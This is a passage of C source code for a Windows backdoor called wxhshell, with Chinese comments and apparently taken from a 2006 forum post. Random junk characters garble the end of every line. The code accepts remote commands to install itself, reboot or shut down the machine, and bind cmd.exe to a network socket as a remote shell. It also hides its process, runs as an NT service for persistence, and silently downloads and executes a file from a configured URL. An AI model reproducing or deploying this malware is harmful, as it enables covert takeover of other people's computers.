  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AVc|(~V  
  } $B%3#-  
  else { -Zg@#H  
akgvV~5  
    switch(cmd[0]) { =}SC .E\  
  k)9 pkPl  
  // 帮助 3|/zlKZz  
  case '?': { i^}DIx{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g9=O<u#  
    break; 7V~ gqum  
  } #CB`7 }jq  
  // 安装 79'N/:.  
  case 'i': { 6:G ::"ew  
    if(Install()) 9\6ZdnEKu,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 /DDQ  
    else K!!#";Eo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [;7$ 'lr%D  
    break; %#lJn.o  
    } 9NC'iFQ#  
  // 卸载 QUc&f+~  
  case 'r': { nN[QUg  
    if(Uninstall()) _w9 :([_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  }_?FmuU  
    else gBXbB9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gii1|pLZ1  
    break; x.U:v20`  
    } E. Arq6  
  // 显示 wxhshell 所在路径 F8*P/<P1cK  
  case 'p': { 0 |Rmb  
    char svExeFile[MAX_PATH]; lXrAsm$  
    strcpy(svExeFile,"\n\r"); sYyya:ykxT  
      strcat(svExeFile,ExeFile); B%Z,Xjq  
        send(wsh,svExeFile,strlen(svExeFile),0); p=f8A71  
    break; {F*81q\  
    } ]y/!GFQ  
  // 重启 {UOR_Vt!*  
  case 'b': { =>)4>WT8A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /p[lOg  
    if(Boot(REBOOT)) Sh o] ~)XX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >iWw i'T=  
    else { V#d8fRm  
    closesocket(wsh); 6vZ.CUK9  
    ExitThread(0); /q6 ^.>b  
    } 0BHSeO,  
    break; inv 5>OeG  
    }  )9$>i5l  
  // 关机 X}j_k=,C  
  case 'd': { .h>tef  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7?~*F7F  
    if(Boot(SHUTDOWN)) c_.4~>qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w 8oIq*  
    else { L t.Vo  
    closesocket(wsh); $N17GqoC  
    ExitThread(0); 7V7iIbi  
    } eTY" "EWU  
    break; . ^JsnP  
    } #F|w_P  
  // 获取shell =%G<S'2'  
  case 's': { 3h>5 6{P  
    CmdShell(wsh); uSn<]OrZo`  
    closesocket(wsh); <S`N9a  
    ExitThread(0); $_0~Jzt,  
    break; ]$ iqJL  
  } gye'_AR?k  
  // 退出 \y0uGnmCj  
  case 'x': { c27\S?\ Jd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AU/L_hg  
    CloseIt(wsh); F\hU V[  
    break; b:>t1S Ul  
    }  Cdbh7  
  // 离开 q.g0Oz@ z  
  case 'q': { `q(eB=6;[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 58.b@@T  
    closesocket(wsh); aMycvYzH  
    WSACleanup(); /?g:`NT  
    exit(1); 9)]asY  
    break; _^"0"<,  
        } sas:5iB5  
  } >`!Lh`n7_  
  } B&k"B?9mL  
2<' 1m{  
  // 提示信息 O &De!Gx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A +J&(7N  
} `p)$7!  
  } G^=C#9c.m  
q+/7v9  
  return; pSlosv(6  
} d~-C r-s4  
tHV81F1J  
// shell模块句柄 Y< drRK!  
int CmdShell(SOCKET sock) BK16~Wl  
{ [#Y7iN&  
STARTUPINFO si; y&$v@]t1  
ZeroMemory(&si,sizeof(si)); h1`u-tc2x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BVk&TGa;[$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yG<`7v  
PROCESS_INFORMATION ProcessInfo; 9 EqU 2~  
char cmdline[]="cmd"; 1:r8p6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P7`sJ("#  
  return 0; */JMPw&  
} Y &"rf   
TUV&9wKXo  
// 自身启动模式 "TboIABp:H  
int StartFromService(void) G`1FD  
{ [b<AQFh<c  
typedef struct `96PY !$u  
{ I"<ACM  
  DWORD ExitStatus; vw/L|b7G  
  DWORD PebBaseAddress; 7 P$>T  
  DWORD AffinityMask; gwyHDSo8:a  
  DWORD BasePriority; N4JJA+  
  ULONG UniqueProcessId; N-O"y3W}  
  ULONG InheritedFromUniqueProcessId; fxKhe[;  
}   PROCESS_BASIC_INFORMATION; mlmp'f  
?i8a)!U  
PROCNTQSIP NtQueryInformationProcess; j~@Hj$APa`  
IyfhVk?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1\'zq;I~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <$]=Vaq  
#M5R>&?Jqz  
  HANDLE             hProcess; 1D/9lR,  
  PROCESS_BASIC_INFORMATION pbi; L6-zQztn  
.7|kxJq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [h GS*  
  if(NULL == hInst ) return 0;  @{|vW  
KiDL]2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C;C= g1I}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SQ_w~'(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M@=eWZ<  
>)sB# <e  
  if (!NtQueryInformationProcess) return 0; TzJp3  
pS vqGJU3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NQx`u"=  
  if(!hProcess) return 0; n7r )wy  
bvK fxAih  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uFzvb0O`O  
e{"r3*  
  CloseHandle(hProcess); ]N\J~Gm  
6/Pw'4H9$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hZ ve8J  
if(hProcess==NULL) return 0; <oc"!c;T  
,'E+f%  
HMODULE hMod; C{r Sq  
char procName[255]; KG! W,tB  
unsigned long cbNeeded; E mUA38  
GRt1]%l#$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |NsrO8H   
jC;^ 2e  
  CloseHandle(hProcess); 9HjtWQn  
sSM^net0  
if(strstr(procName,"services")) return 1; // 以服务启动 3j]P\T  
w*E0f?s  
  return 0; // 注册表启动 1${lHVx]  
} _.ny<r:g  
xzqgem`[\  
// 主模块 \,b@^W6e>  
int StartWxhshell(LPSTR lpCmdLine) @.PVUP  
{ lBbUA)z6  
  SOCKET wsl; Z;nbnRz  
BOOL val=TRUE; 'D B4po.   
  int port=0; Xlw8> .\  
  struct sockaddr_in door; 6WN1D W  
/n9yv  
  if(wscfg.ws_autoins) Install(); Fjc4[ C  
k|Hxd^^I  
port=atoi(lpCmdLine);  o IUjd  
OJkiTs{  
if(port<=0) port=wscfg.ws_port; Vh.9/$xQ  
%(c5T)B9  
  WSADATA data; <0Mc\wy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \5]${vs&s  
9q ##)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ugZ-*e7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HW{si]~q  
  door.sin_family = AF_INET; D 2U")g}U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L=7 U#Q/DE  
  door.sin_port = htons(port); VI}.MnCa  
Ux<2!vh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tAPr4n!  
closesocket(wsl); (&=<UGY(w  
return 1; _;;'/rs j  
} ?f\;z<e|  
9rB,7%@EL  
  if(listen(wsl,2) == INVALID_SOCKET) { )CYm/dk  
closesocket(wsl); ^* xhbM;  
return 1; Auq)  
} rj.]M6#  
  Wxhshell(wsl); | JmEI9n2  
  WSACleanup(); aaN|g{pX  
w4:  
return 0; HG1)q\Xd  
syEWc(5  
} R3HfE*;Z  
qhKW6v  
// 以NT服务方式启动 B{#*PAK=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,9(=Iu-?1  
{ EXdx$I=X  
DWORD   status = 0; rRTAWAs%T  
  DWORD   specificError = 0xfffffff; 8y<NT"  
0>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \m>mE/N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QbF!V%+a's  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SMMV$;O{9  
  serviceStatus.dwWin32ExitCode     = 0; B=>:w%<Ii  
  serviceStatus.dwServiceSpecificExitCode = 0; #B;~i6h]  
  serviceStatus.dwCheckPoint       = 0; qoNVp7uv  
  serviceStatus.dwWaitHint       = 0; %s+H& vfQs  
l17sJ!I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dSD7(s!  
  if (hServiceStatusHandle==0) return; sXD.*D  
,qx;kJJ  
status = GetLastError(); x=UwyZ  
  if (status!=NO_ERROR) 1eg/<4]hA  
{ gUfLw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nLA8Hy"8z  
    serviceStatus.dwCheckPoint       = 0; >i`V-"x  
    serviceStatus.dwWaitHint       = 0; F"3LG"  
    serviceStatus.dwWin32ExitCode     = status; J 8/]&Ow  
    serviceStatus.dwServiceSpecificExitCode = specificError; #cN0ciCT'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7e{w)m:A  
    return; 5hVp2 w-  
  } GI&XL'K&  
=@98Gl9!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Js`xTH'  
  serviceStatus.dwCheckPoint       = 0; *5SOXrvhu6  
  serviceStatus.dwWaitHint       = 0; "T*Sg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 20 j9~+  
} SR,id B&i  
X*Ibk-PUM  
// 处理NT服务事件,比如:启动、停止 !`u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a/9R~DwN  
{ ?w{lC,  
switch(fdwControl)  aOS:rC  
{ + _=&7  
case SERVICE_CONTROL_STOP: $ekB+ t:cj  
  serviceStatus.dwWin32ExitCode = 0; Lo'P;Sb4<}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EcBJ-j 6d  
  serviceStatus.dwCheckPoint   = 0; _[yBwh  
  serviceStatus.dwWaitHint     = 0; (+@ Lnz\  
  { r<Il;?S6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); we6kV-L.  
  } n=HId:XT  
  return; `Qf$]Eoft  
case SERVICE_CONTROL_PAUSE: "bO\Wt#Mf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sh $mOy  
  break; Z9:erKT   
case SERVICE_CONTROL_CONTINUE: )2@_V %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x%acWeV5  
  break; *Q?ZJS ~  
case SERVICE_CONTROL_INTERROGATE: V3<baxdE  
  break; y*Egt`W  
}; #6XN_<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B{\cV-X$0  
} 0JQ0lzk1  
K#j<G]I( @  
// 标准应用程序主函数 LX%K*nlj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J3oEN'8S  
{ ub C(%Y_k  
`yjHLg  
// 获取操作系统版本 ]9xuLJ)  
OsIsNt=GetOsVer(); '@Zau\xC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B8+J0jdg6%  
q Ee1OB  
  // 从命令行安装 8.-0_C*U;  
  if(strpbrk(lpCmdLine,"iI")) Install(); w\ hl2JTy  
pYtG%<  
  // 下载执行文件 }b9"&io  
if(wscfg.ws_downexe) { (x} >tm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m5O;aj* i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8 |>$M  
} :r?gD2q  
_ >)+ u  
if(!OsIsNt) { P\;L#2n  
// 如果时win9x,隐藏进程并且设置为注册表启动 L5%t.7B  
HideProc(); p0 @ ,-  
StartWxhshell(lpCmdLine); `[hc{ynO|  
} X^!n'$^u  
else {1RI!#[\  
  if(StartFromService()) Ls8@@b,t2  
  // 以服务方式启动 )ZxDfRjL  
  StartServiceCtrlDispatcher(DispatchTable); Xb0$BAP  
else 72hN%l   
  // 普通方式启动 hE|Z~5\Y,>  
  StartWxhshell(lpCmdLine); p.{M sn  
V3%"z  
return 0; 3 ;M7^DM  
}
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只看该作者 1 发表于: 2006-10-10
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